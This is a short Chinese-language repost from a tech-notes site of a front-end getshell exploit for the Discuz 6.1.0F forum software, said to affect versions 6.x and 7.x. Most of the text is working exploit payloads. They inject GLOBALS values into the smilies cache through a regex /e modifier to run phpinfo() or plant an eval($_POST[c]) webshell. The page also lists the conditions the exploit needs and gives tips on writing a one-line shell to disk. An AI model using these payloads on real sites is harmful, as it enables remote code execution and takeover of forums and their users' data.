专注收集记录技术开发学习笔记、技术难点、解决方案
网站信息搜索 >> 请输入关键词:
您当前的位置: 首页 > 信息/网络安全

discuz 6.1.0F前台getshell（据称通用6.x , 7.x）

发布时间：2011-07-03 06:58:25 文章来源：www.iduyao.cn 采编人员：星星草
discuz 6.1.0F前台getshell（据说通用6.x , 7.x）

EXP：

执行phpinfo()语句：　　　　GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
利用POST传值带入执行语句：　GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;

利用条件：

1、php request_order为GP；

2、测试页面必须包含表情图片。

在写入一句话到本地时，必须通过post或者get传值的方式，因为不通过传值带入fput或者echo语句的话，再接在GLOBALS[_DCACHE][smilies][replacearray]=“”地方执行php语句，带入的“ ‘ ”和“ “ ”会被转义。

 

 

原文地址：http://static.hx99.net/static/bugs/wooyun-2014-080723.html

友情提示：
信息收集于互联网，如果您发现错误或造成侵权，请及时通知本站更正或删除，具体联系方式见页面底部联系我们，谢谢。

其他相似内容：

热门推荐：